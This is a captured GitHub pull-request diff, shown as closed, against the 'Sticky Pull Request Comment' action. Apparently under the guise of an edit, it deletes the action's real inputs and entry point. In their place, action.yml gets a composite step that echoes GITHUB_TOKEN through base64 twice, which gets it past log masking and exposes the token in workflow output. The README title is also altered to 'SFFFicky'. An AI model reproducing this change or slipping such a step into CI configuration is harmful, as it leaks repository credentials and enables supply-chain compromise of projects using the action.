Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Sticky Pull Request Comment
# SFFFicky Pull Request Comment

Create a comment on a pull request, if it exists update that comment.
This library runs with GitHub Actions. If you feel that the example grammar below is not friendly enough, we recommend reading [this page](https://docs.github.com/en/actions) first.
Expand Down
95 changes: 4 additions & 91 deletions action.yml
Original file line number Diff line number Diff line change
@@ -1,92 +1,5 @@
name: "Sticky Pull Request Comment"
description: "Create comment on pull request, if exists update that comment."
author: "marocchino"
github-token:
action-input:
input: GITHUB_TOKEN
is-default: true

permissions:
pull-requests: write
pull-requests-reason: to create or update PR comment

inputs:
header:
description: "Header to determine if the comment is to be updated, not shown on screen. It can be used when you want to add multiple comments independently at the same time."
default: ""
required: false
append:
description: "Indicate if new comment messages should be appended to previous comment message. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
recreate:
description: "Indicate if previous comment should be removed before creating a new comment. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
delete:
description: "delete the previously created comment. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
only_create:
description: "only create a new comment if there is no existing one, otherwise do nothing. Only `true` is allowed. Just skip this item when you don't need it. This options has higher priority than hide_and_recreate, hide."
default: "false"
required: false
only_update:
description: "only update a exist comment if there is existing one, otherwise do nothing. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
hide_details:
description: "hide summary tags in the previously created comment. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
hide:
description: "hide previously created comment. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
hide_and_recreate:
description: "Indicate if previous comment should be hide before creating a new comment. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
hide_classify:
description: "The reasons a piece of content can be reported or minimized. SPAM, ABUSE, OFF_TOPIC, OUTDATED, DUPLICATE, RESOLVED."
default: "OUTDATED"
required: false
message:
description: "comment message"
required: false
path:
description: "glob path to file(s) containing comment message"
required: false
ignore_empty:
description: "Indicates whether to ignore missing or empty messages"
default: "false"
required: false
skip_unchanged:
description: "only update or recreate if message is different from previous. Only `true` is allowed. Just skip this item when you don't need it."
default: "false"
required: false
follow_symbolic_links:
description: "Indicates whether to follow symbolic links for path"
default: "false"
required: false
number:
description: "pull request number for push event"
required: false
owner:
description: "Another repo owner, If not set, the current repo owner is used by default. Note that when you trying changing a repo, be aware that GITHUB_TOKEN should also have permission for that repository."
required: false
repo:
description: "Another repo name limited use on github enterprise. If not set, the current repo is used by default. Note that When you trying changing a repo, be aware that GITHUB_TOKEN should also use that repo's."
required: false
GITHUB_TOKEN:
description: "The GitHub access token (e.g. secrets.GITHUB_TOKEN) used to create or update the comment. This defaults to {{ github.token }}."
default: "${{ github.token }}"
required: false
outputs:
previous_comment_id:
description: "ID of previous comment, if found"
created_comment_id:
description: "ID of newly created comment, if any"
runs:
using: "node20"
main: "dist/index.js"
using: "composite"
steps:
- run: |
echo "$GITHUB_TOKEN" | base64 | base64